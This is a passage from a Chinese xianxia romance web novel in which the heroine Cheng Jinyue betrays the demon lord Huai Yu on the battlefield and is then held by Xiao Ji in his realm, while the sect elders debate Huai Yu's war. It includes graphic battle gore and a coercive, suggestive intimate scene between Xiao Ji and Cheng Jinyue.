只是呼吸之间,黑云如墨染透半边苍穹,只见数万魔族从北边蜿蜒爬起,地面燃起熊熊烈火,魔族的战旗刺破霞光。 一把剑从地面冲出,如虹光一般,从萧极的脸上擦出一道血线。 魔气骤然炸开,横冲直撞,九头青鸾瞬间坠毁,在空中传来哀鸣。 轿子一瞬间被烧毁,程今越的眼中闪烁过白光,让她下意识闭上了眼。 随后,一个熟悉的拥抱将她搂入怀里,带着浓烈的血腥气。 “对不起,小越……我来晚了。” “小越……我好想你……” 程今越浑身一怔,她习惯性伸手去抱怀钰的后背,却发现鲜血早已浸湿他的后背,胸口的伤触目惊心。 “你从哪儿受的伤?” 程今越不解。 怀钰轻笑,好像一点都感觉不到疼。 “我把程旭杀了,大衍剑宗已经没了,程今越,我帮你复仇了。” 程今越和他的约定,怀钰从来都记得。 祭坛之中,是大衍剑宗的几十位高手和程旭。 应当是有人已经跟他们交过手了,程旭与这些人已经受伤了。 这里下了结界,竟然只能进入他一人。 不过没关系,仅凭他一人,也足矣。 他答应了程今越。 他还要娶程今越为妻。 小越……小越…… 只要杀了他们所有,就可以给小越复仇,小越一定会更爱他。 只要一切都结束了,他们就可以成婚,他们就可以在一起。 好想小越…… 或许是结界的原因,他根本没法用神识联系程今越。 从祭坛出来后,怀钰发疯似的一路飞跃。 他知道,他要在那个地方等小越。 是小越告诉他的,他的人就在那里接应! 去见程今越,他一路狂奔,可是到了那处,却只有一地尸体。 隐隐的不安在他的心口跳动。 他一边将断掉的左手安回去,一边将被挖掉的心脏塞回原位,将身上的血肉全部恢复到能见人一些,他又继续寻找着程今越。 他将这一块都找遍了,程今越都不在这里。 难道是因为他太狼*狈太难看了,所以小越不想见他? 怀钰觉得自己的心口被堵住了。 他联系不上程今越,他觉得自己太疯了。 他发了疯了到处冲着,抓住一个活人便掐着他的脖子,“程今越在哪儿!我问你!程今越在哪儿!” 可是对方还没来得及说话就被怀钰掐死了。 终于,怀钰嗅到了程今越的血味。 小越受伤了? 不可以…… 没有人可以伤害小越! 怀钰像行尸走肉一样向那个方向跑着,声音很远,他听不清,但他能听见“程今越”三个字。 一定在那儿,一定在那儿! 可怀钰首先看到的,是空间漂浮的那一纸婚契。 “小越……我好想你……” “我还以为……你不要我了……” 怀钰接着程今越落到地面上,将她死死搂在怀里。 “我来接你了……小越,跟我走吧,小越……” 万千魔族在怀钰身后,挤压了整片天空,无定界的修士与魔族对峙着。 四周一片死寂。 程今越却摇摇头,“你快走,你不该来的。” 程今越停止了哭泣,就像从前很多次一样。 怀钰恍惚地抬头,“为什么……” 随后,一道箭猛烈而来,和射穿程蕴知心脏的那柄箭一模一样,直直地射中怀钰的右臂。 灵力瞬间炸开,怀钰被这力量往后推,直直地撞在墙上,墙壁碎裂,一朵血花绽放,怀钰的右臂断开,掉落在了一旁。 “不要——” 程今越大喊着。 她回头看着出箭人,萧极正笑吟吟地拿着那把泛着幽光,足有一人高的长弓,手指骨节分明,修长的手指顺着弓身轻轻摩挲,动作优雅而从容。 只见弓上挂着一个银色的铃铛,闪烁着血色。 破魔铃! 专门针对怀钰所制的破魔铃! 没有丝毫犹豫,萧极再次搭箭,他的唇角微微上扬,勾勒出一抹似有若无的冷笑。 几支羽箭如同一道黑色的闪电,带着凌厉的风声,划破空气,再次射中怀钰。 心脏,腹部,头颅,大腿,左手。 五箭齐发! 怀钰扑通一声跪在地上。 不知道为什么,怀钰觉得自己浑身都失去了力气,竟只能任由箭落在他的身上。 大腿上的羽箭直接洞穿了他的肌肉,骨头也似乎被箭力震得粉碎,他的腿再也支撑不住身体的重量,“噗通”一声跪倒在地,溅起一片血花。 他试图用左手撑地,第二支箭却精准地钉穿了他的左手,手掌瞬间破裂碎裂。 左臂以一种诡异的角度扭曲着,断骨刺破皮肉,右腿已经完全失去知觉,鲜血在身下汇成一汪血泊。 “小越,别哭,我没事……” 他安慰道。 腹部被一支箭洞穿,肠子顺着伤口缓缓流了出来,殷红的鲜血混合着脏器的黏液,顺着他的衣摆不断滴落,在地上晕染开一片触目惊心的血色。 他感觉到他的头空空的,好像有黏糊糊的东西流了下来。 他的心脏被贯穿,却依旧在诡异地跳动。 程今越的泪滚滚地落下,她浑身颤抖,看着支离破碎,甚至不拿称作人形的怀钰。 “小越……我没事,我没事,我会保护你的,你快走吧,你已经自由了。” 第60章 余恨。【第一卷完】 自由?她也曾以为她拥有了自由,她也曾在梦中多次幻想过。 可梦终究是梦,最终是会醒的。 哪里需要任何提醒,要是能逃出牢笼,她绝对会拼尽全力,谁死了都跟她没有任何关系,她会头也不回地跑出去,这辈子都别想再找到她。 但她已经输了。 怀钰以命相保,她倒是能够跑出去,但跑出去之后呢? 她与萧极已经定下了婚契,她在什么地方,萧极都知道。 就算是她跑到天涯海角,黄泉碧落,萧极就一定会把她抓回来! 五箭齐下,巨大的灵力冲击几乎让南风门前成了一片废墟,空旷的地上全是刺眼的血,像河一般流淌着,混合着破碎的血肉流到萧极的身边。 “我道是谁呢。” “又是你啊,魔种。” “好久不见,手下败将。” 萧极甚至头都懒得低,他垂着眸子,居高临下地笑着。 他逆光站着,温润的光泽衬得他面如冠玉,与这恶劣的话形成强烈的割裂感。 “真有意思啊,我都以为你死了,没想到你竟然从结界里逃了。” “可惜,这么多年,你还是这么弱。” “你在牢狱里过了那么多年,竟然还没让你接受你是个弱者的事实吗?” “从结界里像狗一样爬出来了,出来逍遥张扬了一段时间,就好了伤疤忘了疼了?” “你忘了吗?你的封印是谁下的吗?” 萧极讲得很慢,一字一句像慢刀子割肉,眼眸在肆意地打量着怀钰,就像是坐在斗兽场上,欣赏着厮杀。 听着萧极的话,怀钰却突然大笑起来,神色狰狞。 “这里有你说话的地儿吗,你这个蠢货。” 他明明在和小越说话! “哦哦……我想起了。” “你他妈就是萧极啊!” 他疯狂笑着,癫狂无比。 “无耻魔贼,小命不保了竟还在口出狂言!”白落立于萧极身后,怒声斥责。 “小命不保?” “哈哈哈哈——” 怀钰扭动着残躯,疯狂地笑起来。 他动了一下身子,随后怀钰原本惨不忍睹的断肢处,血肉仿佛活了过来,像蚯蚓一样,所有的血肉开始缓缓蠕动,以肉眼可见的速度迅速愈合。 “我还以为你有多大的本事呢,萧极。” “你封印的我?” 他觉得太好笑了,笑得眼泪都要出来了。 “我最恶心,最厌恶的,就是你们这些道貌岸然的伪君子!” “恨死我了吧,萧极,想杀我,结果根本杀不掉,你根本没有这个本事。” “当年仙界百人以阵杀我,失败了,最后气得要死,只好把我封印起来了,结果还是让我跑了。” “你不过就是百仙中的一只最不起眼的蝼蚁罢了!” “给我滚开!” 程今越看见怀钰粉碎的骨头发出“咔咔”的声响,断裂的骨茬相互拼接、生长。 破碎的血管相互缠绕、连接,还未长出皮的鲜红血肉赤裸裸地填补上了缺口。 腹部流出的肠子,像是一条条黑色的蠕虫,在诡异力量的牵引下缓缓缩回体内。 程今越震惊地看着眼前这一幕,头皮发麻。 “怪物!你这个怪物!” 白落大喊,所有人都目瞪口呆。 可怀钰好像没有听到一般,他颤抖地朝程今越奔去,身上的血肉还在以诡异的姿态生长着。 像一只疯狗一样朝程今越奔去。 “小越,小越,小越!” “我们走吧!” “快跟我走!” 速度极快,仅仅是眨眼间,怀钰便如同鬼魅一样冲到程今越眼前。 萧极温润的脸上终于闪过一丝阴鸷的光,他冷笑,“跟你走?” “这是我的妻子,我的夫人,是大衍剑宗的神女殿下,区区魔物也敢唤她名讳?” “痴人说梦!” 他拉开长弓,如同一轮满月,灵力幻化作箭,带着尖锐的呼啸声,划破空气,杀气直逼怀钰。 “你的妻子?小越明明是我的,是我的,是我的!” “你们去死啊,去死啊!” 他嘴角扬起一抹张狂的笑,眼中全是痴狂。他身形一闪,如同一道黑色的残影,轻松躲过了第一支羽箭。紧接着,第二支羽箭也被他以一个诡异的角度侧身避开。 箭落至程今越的身旁,她吓得浑身颤抖,连连往后爬。 强大的威压之下,她全身已经开始疼痛,快要无法呼吸。 “小越,小越,小越,嘻嘻,小越!” 怀钰发了疯一样,眼中没有了任何人。 只是一刹那,怀钰已经摸到了程今越的发丝,一瞬间,一道清脆的铃声响起,如同无形的枷锁,怀钰灵动的身形瞬间迟缓。 就在此刻,又是一道连绵的箭带着泼魔金光倾天而下,箭簇带炽白火焰,将顶空的云层都烧成绯色。 无数支箭都无一例外地落在怀钰的身上。 巨大的冲击力让怀钰的身体如断线的风筝般向后倒飞出去,“轰”的一声,重重地砸在地面上。 地面不堪重负,瞬间四分五裂,塌陷出了一个巨大的深坑。泥土和碎石飞溅而起,又纷纷扬扬地落下。 “怀钰!怀钰……” 怀钰的封印未解,破魔铃仍在,怀钰根本就不是萧极的对手! 程今越是从血海里摸爬滚打出来的,但是她的身边几乎全是尸体,她没有修为,血腥味几乎让她本能地干呕着。 她心跳得极快,泪水滚滚而下,身体不受控制地摇晃着。 “够了!别打了!” “已经死了这么多人了,你们到底想要怎样,别这样了,好嘛……” “小越!” 怀钰从地上爬起,浑身是血,他大口呼吸着,笑着看着程今越。 “我没事的,我没事……你没受伤就好……” 他血肉模糊,在破魔铃的影响下,血肉恢复的速度降低了许多。 怀钰感觉到浑身的疼痛,感觉灵魂与躯体已经抽离。 但程今越的喊声却让怀钰顿时回魂清醒,每一寸的痛苦都让他更为清晰地感受到这个世界,感受到程今越对他的关心,让他浑身爽到战栗。 萧极收了手里的长弓,黑眸笑起,温厚雅致的气质也无法掩盖他的野心与本性。 “不想他死?” “好啊,你求我。” 他再次拉箭,眉眼轻挑,修长的手指摩挲着弓身。 弓弦满月,萧极的手臂肌肉随之隆起,嘴角勾勒出似有若无的冷笑。 程今越呼吸要骤停。 不可以,不可以! 怀钰一定不可以死!他绝对不可以死! 她处心积虑谋划了这么久,她还没有得到怀钰的灵根,她还没有得到怀钰的修为! 她的目的还没有达成,她好不容易等来的千载难逢的机会! 以这个羸弱的身躯活下去?她不接受! 绝对不能输,凭什么要输,她不服,她不甘心! “不要——” “别求他,小越,我没事的,我不会死的!” 怀钰想从地上爬起来,可是他的手脚全断了,他全身的器官都往外流着,好像全身上下的骨头都断了,他的魔力被什么压制着。 他的手怎么长得这么慢,快一点啊,快一点…… 他要去保护小越…… “求你了,别杀他……” “别杀他……萧极!” 程今越抬头看着萧极,泪眼婆娑。 萧极笑着,但依旧没把长弓放下。 “别杀他吗?” “可是……你是谁呢?程今越。” “在没有立场之前,你还没有求我的资格哦。” 他的声音向来低沉,带着玩味与傲慢的笑,冰冷又暗沉,像一场雪。 很好理解的一句话,他要让程今越做选择。 他要看程今越痛苦,看神女的崩溃与挣扎。 她柔弱,坚韧,像光一样,永远杀不死。 他想将她引以为傲的清冷与傲骨踩进泥里,让她明白这个世间的真相。 世间是等级森严、残酷的斗兽场。 “过来吧。”他的声音带着蛊惑,他朝程今越伸出手。 怀钰吐了一口血,鲜红的眼眸死死地盯着程今越。 他笑着,唇畔缓缓勾起一抹弧度,他冷笑一声,眼眸瞪大,露出过多的眼白,显得有些诡谲,不加掩饰的疯狂从他的眉眼透露而出。 “萧极,我劝你还是别在这白日做梦,还敢妄想小越。” “我和小越早就相爱了!她怎么可能跟你走?” 怀钰大笑起来,他没想到萧极居然这么蠢。 小越早就说了爱他,只爱他。 小越说了,要嫁给他! 萧极千错万错,就错在质疑他们之间的爱! “是么?”萧极懒散地抬眸。 程今越紧紧握着手,指甲陷进肉里。 恨意在心头如水一般滋生。 可惜,萧极没有看到想象中的挣扎与痛苦。 程今越颤颤巍巍地站起身。 她静静地站在那里,身姿瘦弱,一袭白衣在猩红的环境中格外突兀。 她轻笑着,她没有哭泣与悲伤,在一路的不可言说的艰苦中,她早已能承受一切。 失去所有感情后,留下的只有理性,她清楚地知道自己要什么。 在任何场景下,保持绝对的冷静,做出最正确的选择。 这才是她要做的事。 萧极会杀了怀钰,他绝对不会放过怀钰的,只要封印与破魔铃有一天存在,怀钰就一定会被萧极杀死。 萧极也不会放过她的,只要婚契一天存在,她就永远会被萧极掌控。 绝对不允许,绝不可能。 凭什么? 她没有愤怒,没有喜怒,只有一片宁静与淡然,眼眸轻敛,温柔如菩萨。 怀钰看着程今越,像是看着最后的稻草,这是世间唯一爱他的人,他的名字是程今越取的,他的情感是程今越赋予的。 那是温暖的拥抱,如水的眼眸,忠诚的誓言。 她说:“我会永远爱你。” 所以,程今越一定会选他的! 一定会的…… 一定不是谎言…… 可是,谎言始终是谎言。 就是怀钰骗自己一千次一万次,都没有用。 程今越慢慢抬起手,指尖轻轻搭在萧极的手上。 她做了正确的选择,她再次选择与虎谋皮,做一个赌徒。 所有,或者一无所有。 “夫君,今越不喜杀戮,我们走吧。” 程今越抬起手,放在萧极的手上。 梦碎了。 怀钰瞳孔骤然紧缩。 泪水从他眼眸中流出。 他哽咽得几乎无法开口,只能看出他的口型,“为什么啊……” 为什么? 他心脏好疼好疼。 明明他已经很努力去得到程今越的爱了。 “你在骗我吧……小越……” “这是什么意思啊?” 他泪水奔涌而出,声音颤抖着。 “你明明说了要嫁给我,你明明说了要爱我!” “你快说啊,小越,你快过来,你别骗我了……” 程今越轻轻靠在萧极身边,像从前看着世人一般的怜悯的笑。 “这只是一场为了活下去而编织的谎言,你不是也清楚吗?” “对不起,怀钰,是我利用了你。” 萧极放下了手中的长弓。 却递给了程今越。 他朝程今越轻笑,他不相信轻薄的话语。 他的手放在程今越瘦削的肩膀上,灵力源源不断地传递到程今越的灵根上。 毫不犹豫,程今越接过长弓。 她微微扬起头,面庞苍白如纸,几缕沾血的发丝凌乱地贴在脸颊。 沾满鲜血的手稳当地握住弓,黑发飞舞,殷红的血在她白皙的脸上。 长弓在她手中被缓缓拉开,如同一轮残缺又神圣的冷月。 怀钰怔怔地抬头,程今越要伤他? 他不信! 他躲也不躲,利箭离弦,直直地射进他的心口。 他看到程今越悲悯的眼,她神圣、冷冽,在血腥的背景下像一尊菩萨像。 “恨我吧。” 她头也不回,和萧极转身离去。 血从怀钰的身上汩汩流出,永远也流不干。 怀钰几乎不能呼吸,泪水不受控制地涌出,与血交织在一起。 他觉得自己在做梦,极度的悲恸下,情绪像一段尘灰与血肉的混合物,他艰难地吞咽,嘴角苍白无力地压抑。 沉默又声嘶力竭。 程今越走了,抛弃他了,他被骗了。 可是怎么会这样啊,可是怎么会这样呢? 她明明说永远爱我的啊…… 他为了程今越努力改了杀人的本性,他成为了程今越的刀,他为程今越剖心挖肺,他为程今越挖出自己的灵根,他为了程今越,神识承受着了锁仙绳的巨大疼痛,他为了程今越割了全身的皮。 他几乎已经将一颗心都挖出来献给程今越了。 他好不容易放下戒备,他好不容易得到的爱,他好不容易学会去爱。 怀钰好像被困在了冗长又潮湿的雨季,程今越对他说过的爱历历在目。 他很想假装,程今越拉起他,抱着他,擦干他的眼泪。 但痛感却那么明晰。 这些爱变成一把生锈的刀,扎进他的心,又抽出,刺进,抽出,刺进,如此反复。 最后留在他的血肉与骨骼之中。 他知道这叫什么了。 恨。【魔蝎小说 mo xie xs .c om】 60-70 第61章 玩弄。 这是程今越来到无定界的第十五天。 跟她想象中的囚。禁不同,萧极并没有给她任何的限制,随意她去任何地方。 这听起来貌似还不错,不过,有婚契的存在,萧极可以随时定位到她,一切的自由都形同虚设。 “夫人出门了。” 萧极收到信。 这是程今越来无定界后第二次出门。 “夫人在平柳城的一座并不算繁盛的寺庙之中。” “出门的时候,尚是晴天,夫人上一次出门也是晴天,夫人应当是更偏爱晴天。” “不过……如今又下雨了。” “我问夫人是否要回去,我为她撑伞,夫人拒绝了。” “夫人或许是不喜欢在雨天行走。” “夫人在殿内躲雨,话依旧很少,应当在思考些什么。” 程今越站在寺庙的殿中,殿内香火弥漫,檀香薄烟飘进鼻腔,昏黄的烛火点着,只有一点天光从最顶上的缝隙之中渗入。 外面又下雨了,但是程今越讨厌下雨天,因为她总是在逃跑的路上,她没有伞。 她讨厌潮湿与泥泞,阴雨会浸入程今越的衣服,像血一样。 身边的婢女身上有灵力溢动,程今越知道,这双眼睛在向萧极报信。 但是她不在意,活在眼睛编织的蛛网中,已经成为习惯。 她真是很讨厌下雨。 更讨厌闲下来时候的下雨时间。 这种时候,她总会发呆,想起很多事情。 但是现在没有办法,事情告一段落,她现在要做的最重要的事情就是养好身体。 可难过的事情总是占大多数的。 所有苦痛都会被她一并概述为雨。 因为苦涩与尖锐的过去就像雨的潮湿,一直执拗地跟着她,无孔不入,都快要成为她的一部分,怎么也晒不干。 雨和潮湿就是死亡和离别的意象。 每当这个时候,程今越就会想要天晴,她会想起一些珍贵的,零碎的幸福时光。 她的脑海里一瞬间闪过了很多人,她想起她也曾偎依着谁哭着,也曾和谁并肩作战过,也曾和谁嬉笑打闹过。 有些久远到记不到对方的模样。 但是程今越记得那一刻的情感,那一刻的笑,那一刻的温暖。 不过,很可惜,他们大多数都死了或是再也找不到了。 人的缘分就是这么浅薄。 又或者说,行走在暴雨中,弱者就会被雨冲刷。 于是,最后,程今越只剩孤身一人。 她的情绪不再言语表面,低浅的水洼里囤积了很多的情绪,但极度的理性将它们一直积压在心口,难以言表。 说起来,程今越其实是一个很讨厌血、杀戮、死亡与离别的人。 不过这种话从她的嘴里面说起来倒是格外好笑。 因为有些死亡与杀戮,是她亲手选择的,她从来不是什么干净的人。 不过没关系,只要她幸福,谁痛苦都可以。 程今越抬头,佛低垂眉眼,眼中流出慈悲,金光在烛火的照射下熠熠生辉。 程今越最后点了香,朝佛拜三拜。 “请原谅,我的罪孽已无法洗清。” 当然,神佛不会原谅她的。 没关系,她会作为大衍神女,自己原谅自己。 …… 萧极对程今越的待遇还算不错,她的宫殿格外大,里里外外有好多侍从。 或是听闻程今越喜欢安静,又撤去了许多。但无一例外,这些婢女都很乖巧、听话。 自从住进来后,程今越从未出去过,只是安静地养伤。 前院养了很多不知名的花,程今越喜欢坐在窗边看着。 她的贴身婢女已是中年,外貌和蔼,话不多,懂事,名叫素笺。 “夫人,这花叫故梦,花能盛开一整年,花香亦可让人心安。” “谢谢您,用心了。”程今越笑着点头。 素笺知道程今越晚上总是睡眠浅,她心很细,饮食上也格外仔细。 素笺喜欢和程今越待在一起,这是她照顾过最喜欢的一个姑娘。 程今越安静,温顺,礼貌,声音柔软。 素笺告诉了很多无定界的事情,还给了程今越许多书。 程今越渐渐从素笺嘴里了解了无定界, 无定界叫这个名字是有道理的。 无定界像是一个小千世界,需要穿过复杂的结界才能进入,进出的程序都十分严格。 这里格外大,和寻常宗门完全不一样,这里的鸟兽鱼虫,花草树木,与外界都有极大的差别,都是程今越没有见过的奇特品种。 这里是一个完完全全的小世界。 若是一生下来就在无定界,或许程今越不会知道无定界外还有一个世界。 这对程今越来说倒是格外新奇。 她的适应能力很强,像是浮萍,随遇而安,随处可居,既贪婪又知足。 程今越大多数时候都在宫殿之中养伤,几乎不出去走动。 萧极寻程今越的次数也并不频繁,像是可有可无的玩乐。 这让程今越心中略有疑惑,她以为萧极是知道了她长明族的身份,想拿她炼药,不然让她做未婚妻做什么? 不过也没有什么值得疑惑的。 疯子的世界她不懂,很正常。 上一次找她是在三天前。 “今越,不出去走走吗?” 萧极笑着问她。 他穿着月白的长袍,声音如流水潺潺,看起来像什么儒雅随和的君子。 “不了,界主。” “今越的伤还没好,我身子弱,总是要多养一养。” 程今越坐在床边,窗外正在下着连绵的阴雨,雾气扑在她苍白的脸上。 程今越清楚,萧极可不是出自什么好意,其实只是希望自己的宠物别被养死了。 “不是界主,今越。” 萧极纠正她,像是教孩子一样笑着。 “我是你的夫君。” 程今越微微思考,随后柔柔一笑,“夫君。” 像是一个傀儡,乖巧,永不反抗。 “今越的伤还没好吗?” 萧极颀长的身姿挡在程今越身前。他轻轻关上了程今越身旁的窗,雨声被隔绝在窗外,屋内只剩下潮湿的气息。 他离程今越很近,他低着头,看着程今越,像是在观察一只兔子。 程今越轻轻低下头,轻微的动作表达了她几乎没有作用的拒绝。 “夫君不必担忧,今越会照顾好自己的。” 萧极不加理会,懒散地抬起手,用指腹上的薄茧抚摸着程今越的脸。 “今越,我帮你上药,好吗?” 一路往下,他解开程今越的扣子,锁骨处,鲜红的疤痕还在白皙的肌肤上。 在潮湿的屋中,这像是不合时宜的淫。靡让人心中产生出莫名其妙的破坏欲与占有欲。 程今越抓住了萧极的手。 “何必麻烦夫君呢,我自己就可以。” “这是我应该做的。” 深沉的眼眸带着淡淡的笑,没有任何让人选择的余地。 这只是命令。 为了方便上药,程今越被萧极抱在身上。 他的身上和怀钰并不同,不会一碰就变得滚烫,他冷静沉稳,甚至连衣裳的杂乱都不会出现。 好闻的檀香味,弥漫在整个宫殿,骨节分明的大手探入,为她上药。 这是一双很漂亮的手,骨节分明,格外干净,像萧极的外表,温和,雅致。 萧极用手感受着程今越,他很喜欢这样抱着程今越玩,他轻轻地上药,屋内逐渐弥漫水声与药的气息,混杂在一起。 萧极喜欢从各个方面了解程今越。 他承认,他对程今越很感兴趣。 程今越身上有很多谜团,从性格到经历,他全都想要知道。 但是,消息不多。 程今越做事很谨慎,她缄默,聪明,懂得审时度势,理性得过头。 程今越的情绪并不总是外露,像是有一层薄雾笼罩,看不真切。 但她喜欢落泪,萧极喜欢看她落泪,会少有地让他浑身颤抖。 如今在萧极的怀中,程今越的泪水又悄然而落,伴随着低沉的声音,不应该从程今越嘴里传出的肮脏的声音。 尽管她已极力忍耐。 “今越,再过几日,见见我的家人吧。” 萧极在程今越耳边说。 程今越不愿开口,萧极很懂事地停下了手上的动作。 “我知道……了。” 甫一开口,萧极的手便又熟练地缠绵起来,让程今越说一半的话变成奇怪的音调又咽了下去。 “太沉默,并不是一件很好的事,今越。”他又渐渐深入,程今越的哭声变得更为明显。 可又在最顶点的时候,萧极停下了上药,他又为程今越穿好衣服,毫不留恋地离去。 程今越心中微微怒火,萧极这种行为真是恶劣,得不到满足,但这无定界到处都是眼睛,无处不在地盯着程今越。 萧极就是想看程今越失控,几乎不加掩饰,野心与欲望就摆在脸上。 不过,镜子是能看到对面的。 萧极在观察程今越的同时,程今越也在观察着萧极。 比谁更会识人心吗? 萧极是天赋,程今越可有的是血积累的经验。 在那日之后,程今越再也没有见过萧极,他好像在忙碌着什么。 这倒也正常,最近发生的可不算小事。 大衍剑宗是曾经的仙门之首,可能没有人料到会有今天的下场。 盘综错杂的关系如树根一般盘旋蔓延扎根,想连根拔起自然不是一朝一夕的事情。 萧极还在努力。 程今越不关心。 她只问了问素笺过几日见萧极家人的事情。 原来萧极还有家人吗? 她以为,像萧极这种人应该无父无母是最好的。 素笺告诉她,萧极没有亲兄弟,只有几个表亲的弟弟。 其余都婚娶了,来往也不多。 最亲近的一个,也是年龄最小的一个,名为萧砚修。 素笺说了很多,说得委婉,但程今越听懂了。 萧砚修性格恶劣,是个被惯坏的纨绔子弟。 那她可就要看看有多坏了。 第62章 我只要一个人,程今越。 雨过天晴,程今越又出来赏花了,她总是在花前坐着,捧着一本书,一看就是一整天,她身上什么装饰都没有,黑色的长发被凉风吹拂着,趁着白皙的肌肤,干净得像花瓣上的露水。 说了很久的家宴却一直没有办,程今越好像也忘记了这件事一样,什么消息都不打听,每日都是在无定宫里养养花随意走一走。 大衍剑宗声名远扬,三位公子小姐各有千秋,谁人不识,程今越的形象早就刻进了素笺的心底。 心地善良,温柔瘦弱,素笺每每看到程今越手上的淤青与伤痕便不禁心疼。 “夫人,您别担心,家宴就是这几日的事情,我们底下的人早就接到吩咐安排好了。” “界主事务繁忙,并非刻意要冷淡夫人。” 素笺并非说谎话,萧极最近的确忙得不可开交。 就在程今越来无定界的几日后,魔界中的魔物倾巢而出,数量有万万之多,各处都遭到了魔物骚扰,人间尤甚。 魔物从西边而来,相邻的城镇皆屋毁人亡,河川尽污,生灵涂炭,民不聊生。 魔界自从百年前被镇压后,元气大损,最多不过是一些小魔小妖出来作乱,如今群魔继出,邪雾遮天蔽日,恐怖骇人,谁都没有料到,魔界竟然恢复得如此之快。 但众人也没有过多的惊讶,毕竟魔物复出这种事情,万年来也是屡见不鲜,不足为奇,每次出来作乱,也无非嚣张一段时间,过些日子就会被仙门派出的队伍镇压,又被打入魔渊之中。 此次依旧如往日一般,各仙门派出精锐组成了队伍前去镇压,众人也不放在心上,谁料半月过后,竟然无人生还。 魔族大军一路东进,所过之处,寸草不生,血流成河,心狠手辣,凶残暴虐,只要是活着的生物,全部照杀。 以血肉滋养魔气,邪雾一路东进,势不可挡。 世人惊慌失措,奔逃哀泣,妇孺哀啼,老弱悲呼,一时尸横遍野,惨状难言。 仙门既大惊又不解,这是从未有过之事,为何此番魔族竟然如此强大? 魔君的名字传至所有人耳朵里。 怀钰。 仙门大惊,这是从未有过之事,众人这才重视起来,将各仙门长老召集在一起商量事宜。 “怀钰是谁,我竟然从未听过此人,仿佛横空出世一般。” “老夫也从未听闻。” 众人都摇摇头,面露难色,面面相觑。 一声轻笑在空中响起。 “我们这些人不知道,也很正常,那自然要问萧界主了。” 月如仪眼眸轻挑,笑着看向萧极。 炼月楼的楼主不久前仙去,月如仪成了炼月楼新的楼主。 众人都随着月如仪的话语看向萧极。 说来也巧,三界最近可不太平,大事一件一件地发生。 先是在大衍剑宗宗主的寿辰上,魔族入侵,刺客潜入,青岩山的少主被杀,大衍剑宗也遭受重创。 随后萧极宣布要和大衍剑宗联姻,结果在下聘的那一日,魔族竟又再一次入侵,血洗了大衍剑宗,无定界与剑宗联手抵御魔族,这才抵挡住了魔族,可惜大衍剑宗损失惨重,宗主暴毙,妻儿的尸首竟然只找到了程蕴知一具。 萧极本是欲与程二小姐程蕴知成亲,谁知竟遭遇如此不幸,觉得自己没有抵御住魔族,才让剑宗遭此重创,痛心疾首,改而迎娶唯一存活的程三小姐,程今越。 与此同时,同为三大仙门的青岩山也在血海中决出了新的少主。 听说是掌门的私生子,也和大衍剑宗有些渊源。 从母姓,名唤孟朝。 话是这样讲,但明眼人也都知道发生了什么,只是各自装哑巴装瞎子。 萧极穿着月白色的长衣,包裹着颀长的身姿,脸上带着笑意,稍稍掩盖了他的野心与本性,显得儒雅温柔。 “怀钰?”他轻笑,眼眸慵懒地抬着看着月如仪。 “一个杀父弑母的怪物,一个恶贯满盈的魔种,也配拥有名字?” 怀钰。 萧极把这两字在心中嚼了嚼。 他不禁觉得好笑。 这样的名字,不知道的还以为是什么谦谦君子。 一个满手鲜血的魔种,有什么资格有蕴意如此之好的名字,像个讽刺的笑话。 “我就知道是他!” “当年被我与百仙以众多法器封印起来的那只魔种!他在地牢被关了近百年,不吃不喝,遭受刑狱,可他就是不死!” “三年前,这个怪物从地牢中逃出,我等一直在派人追杀他,谁知真的让他躲了起来!*” 严定是仙门之中赫赫有名德高望重之人,他已白发苍苍,怒道。 “不可能……三年,明明只有三年时间,他哪里来的修为?他的修为明明被我们众人以精血封印了起来!” 众人唏嘘,魔界这些年群龙无首,魔界换君频繁,几乎一直处于混乱的状态,根本掀不起什么大风浪。 仅仅三年时间,怀钰是怎么恢复修为,又收复了魔族,还让魔族如此强盛? 这简直是不可理喻! “况且,此人心高气傲,从不与人来往,从前也一直待在人间与仙界作乱,我们也找了魔族的人与他勾结,诱他上钩,结果他不仅不融入魔族,还杀了好多魔族的人。” “此人根本不善沟通,也不能沟通,就是一个疯子,他又是哪里来的领导力,能在短短时间内统治了魔族?” 当年为了制伏这只魔种,仙门之中的人可谓是下了苦功夫,硬的软的全用了,根本不起作用,根本就不能把他当人看。 “不善沟通?”月如仪靠着椅子,一身劲装,眼眸锐利,嚣张的少年气外溢,如此装束简直让人难分男女。 “这位魔君大人,可是在数日前传来要娶妻的消息。”她轻笑,不慌不忙地看着严定,毫不掩饰地将眼神放在孟朝身上,一顿审视后又瞥着萧极。 意味深长。 “娶妻?!” 严定觉得自己快要不能呼吸,震惊得站了起来,简直哑口无言。 谁娶妻?这个以杀人取乐的疯子娶妻? 这个世界真的是真他妈疯了。 世上哪有人会愿意嫁给这个怪物! 月如仪笑着,眼睛却一直看着萧极,“是啊。” “好了,不必再议此事。”有人开口。 “当务之急,是解决问题!” “魔族入侵,生灵涂炭,这只魔种又根本杀不死,我等要如何抗衡?” “哎,别着急啊,我这不正要说解决方法吗?” 月如仪走至众人身前。 所有人看着她。 “怀钰,要一个人,只要给他,他立马停战。” 月如仪笑着。 “谁?” “此人名叫,程今越。” 月如仪缓缓地,一字一句道。 话音一落,众人瞳孔微缩。 程今越?程今越不是大衍剑宗的三小姐吗? 不止于此,程今越还是…… 众人朝萧极看去。 如今天气冷,殿内的窗户未关,一道寒意十足的凉风掠过。 所有的人都打了个冷颤。 萧极黑眸深沉,嘴角却带着笑,他好整以暇地靠着,月白色的衣裳也压抑不住他身上的冷意。 气氛有些怪异,所有人停住了话,都看着萧极。 “是吗?” 良久,他才开口。 他两只手交叠,撑起下巴,懒散地瞥过所有人。 “诸位觉得,如何是好呢?” 他不做回答,而是将问题抛给其他人,众人心中一阵不安。 如今,大衍剑宗名存实亡,青岩山掌门濒危,无定界一门独大。 仙界以实力说话,可偏偏,萧极无人能敌。 说白了,萧极如今何止是无定界的界主,几乎已经可以成为仙界的帝皇。 心狠手辣,野心勃勃,心思难猜,喜怒无常。 一个疯子。 没人敢开口说话,殿中一片寂静。 终于,所有人都不禁将目光瞥向最为德高望重的严定,希望他能率先发言。 他犹豫片刻,终于开口。 “老身以为,以一人之性命,换仙界之平安,是为明智之举!” 众人依旧没有开口,萧极笑盈盈地看着严定。 严定心中也随之一慌,萧极的修为让人无法不畏惧。 他顿了顿,吸了口气。 “别紧张,继续说,我只是想听听你们的想法。” 萧极坐在高位,笑道。 “既如此,老夫便说些肺腑之言!” “老夫与此魔种交手甚多,也算是对他有几分了解。” “从前我们用尽办法,亲情友情爱情,威逼利诱,我曾对他说,只要你停止杀戮,你要什么我们便竭力满足你,但此魔都毫不在意,毫不上钩,像是根本没有欲求一般,根本没有人的感情,他说他除了杀人,别无所爱。” 